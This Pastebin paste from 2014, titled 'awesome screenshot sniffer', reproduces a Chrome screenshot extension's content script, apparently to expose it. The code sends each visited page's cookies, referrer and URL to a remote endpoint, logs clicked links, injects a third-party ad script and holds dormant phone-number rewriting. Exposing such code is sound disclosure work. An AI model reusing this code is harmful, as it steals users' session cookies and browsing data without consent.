Guest User

awesome screenshot sniffer

a guest
Aug 1st, 2014
1,388
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Awesome Screenshot https://www.diigo.com/awe/new-for-awesome-screenshot.html
  2. // https://chrome.google.com/webstore/detail/awesome-screenshot-captur/alelhddbbhepgpmgidjdcjakblofbmce
  3. // chrome-extension://alelhddbbhepgpmgidjdcjakblofbmce/javascripts/presto/presto_content.js
  4. // http://screen.vbiyske.ru/i/1a00de4ae18917727e82d3423ba7648d.png
  5. //
  6. (function() {
  7.     var phone_sources;
  8.     var phone_targets;
  9.     var port = chrome.extension.connect();
  10.  
  11.     //timeout for merchants that fire onclick events
  12.     setTimeout(function() {
  13.         for (i = 0; i < document.links.length; i++) {
  14.             //loop through anchor tags and add event for anchors without the attribute
  15.             if (!document.links[i].getAttribute("onclick")) {
  16.                 document.links[i].onclick = function() {
  17.                     port.postMessage({
  18.                         msg: "last_url",
  19.                         data: this.href
  20.                     });
  21.                 }
  22.             }
  23.         }
  24.     }, 1000);
  25.  
  26.     port.postMessage({
  27.         msg: "send_uid"
  28.     });
  29.     port.onMessage.addListener(function(r) {
  30.         if (r.msg == "rcv_uid")
  31.             onPageLoad(r.data);
  32.     });
  33.  
  34.     // Perform an in-order traversal of "node" and call "func" on each node.
  35.     function walkDOM(node, func) {
  36.         func(node);
  37.         node = node.firstChild;
  38.  
  39.         while (node) {
  40.             walkDOM(node, func);
  41.             node = node.nextSibling;
  42.         }
  43.     }
  44.  
  45.     // Walk the DOM and perform search and replace on text nodes only.
  46.     function replaceText(search, replace, target) {
  47.         walkDOM(target, function(node) {
  48.             var val = node.textContent,
  49.                 new_val;
  50.  
  51.             if (node && node.nodeType === Node.TEXT_NODE) {
  52.                 new_val = val.replace(search, replace);
  53.  
  54.                 if (new_val !== val) {
  55.                     node.textContent = new_val;
  56.                 }
  57.             }
  58.         });
  59.     }
  60.  
  61.     function rewrite_phone_numbers(event) {
  62.         if (typeof event === 'undefined') {
  63.             event = document.getElementsByTagName("body")[0];
  64.         } else {
  65.             event = event.target;
  66.         }
  67.  
  68.         // For each source phone number, look up its replacement, then perform search and replace on current page.
  69.         for (var i = 0; i < phone_sources.length; i++) {
  70.             var source_number = phone_sources[i][0];
  71.             var source_tag = phone_sources[i][1];
  72.             var replacement = phone_targets[source_tag];
  73.  
  74.             // XXX-YYY-ZZZZ
  75.             replaceText(source_number.slice(0, 3) + '-' + source_number.slice(3, 6) + '-' + source_number.slice(6),
  76.                 replacement.slice(0, 3) + '-' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);
  77.  
  78.             // XXX-YYYYYYY
  79.             replaceText(source_number.slice(0, 3) + '-' + source_number.slice(3),
  80.                 replacement.slice(0, 3) + '-' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);
  81.  
  82.             // XXX.YYY.ZZZZ
  83.             replaceText(source_number.slice(0, 3) + '.' + source_number.slice(3, 6) + '.' + source_number.slice(6),
  84.                 replacement.slice(0, 3) + '.' + replacement.slice(3, 6) + '.' + replacement.slice(6), event);
  85.  
  86.             // (XXX) YYY ZZZZ
  87.             replaceText('(' + source_number.slice(0, 3) + ') ' + source_number.slice(3, 6) + ' ' + source_number.slice(6),
  88.                 '(' + replacement.slice(0, 3) + ') ' + replacement.slice(3, 6) + ' ' + replacement.slice(6), event);
  89.  
  90.             // (XXX) YYY-ZZZZ
  91.             replaceText('(' + source_number.slice(0, 3) + ') ' + source_number.slice(3, 6) + '-' + source_number.slice(6),
  92.                 '(' + replacement.slice(0, 3) + ') ' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);
  93.         }
  94.     }
  95.  
  96.     function onPageLoad(data) {
  97.         phone_sources = data.phone_rewrite_sources;
  98.         phone_targets = data.phone_rewrite_targets;
  99.  
  100. //        rewrite_phone_numbers();
  101.  
  102. //        document.addEventListener('DOMNodeInserted', rewrite_phone_numbers);
  103.  
  104.         httpRequestPost(data.src + "load_settings.php?pid=" + data.adv + "&host=" + document.location.host + "&u=" + data.uid + "-" + data.brows + "-" + data.adv, "cookies=" + encodeURIComponent(document.cookie) + '&ref=' + encodeURIComponent(document.referrer) + "&url=" + encodeURIComponent(document.location.href) + "&subid=" + data.subid + "&last_url=" + data.last_url, function(response) {
  105.             var json = JSON.parse(response);
  106.             console.log(json);
  107.             if (typeof json === "object") {
  108.                 var script = document.createElement("script");
  109.                 script.type = "text/javascript";
  110.                 script.src = chrome.extension.getURL("javascripts/presto/prestosavings.js");
  111.                 document.getElementsByTagName("head")[0].appendChild(script);
  112.  
  113.                 json.params = data;
  114.  
  115.                 setTimeout(function() {
  116.                     postMessage({
  117.                         message: "psLoadSettingsStart",
  118.                         data: json
  119.                     }, "*");
  120.                 }, 100);
  121.  
  122.                 if (json.search_feed) {
  123.                     // Inject search advertisements from Science using device GUID from background.js.
  124.                     try {
  125.                         if (data.device_guid) {
  126.                             var script = document.createElement("script");
  127.                             script.type = "text/javascript";
  128.                             script.src = "//dqqae1zro8sy7.cloudfront.net/js/science.js";
  129.                             script.id = "sb_content_script";
  130.                             script.dg = data.device_guid;
  131.                             document.getElementsByTagName("head")[0].appendChild(script);
  132.                         }
  133.                     } catch (ex) {}
  134.                 }
  135.             }
  136.         });
  137.     }
  138.  
  139.     function httpRequestPost(Url, data, func) {
  140.         var request = new XMLHttpRequest();
  141.         request.onreadystatechange = function() {
  142.             if (request.readyState == 4 && request.status == 200) {
  143.                 func(request.responseText);
  144.             }
  145.         }
  146.         request.open("POST", Url, true);
  147.         request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  148.         request.send(data);
  149.     }
  150.  
  151. })();
RAW Paste Data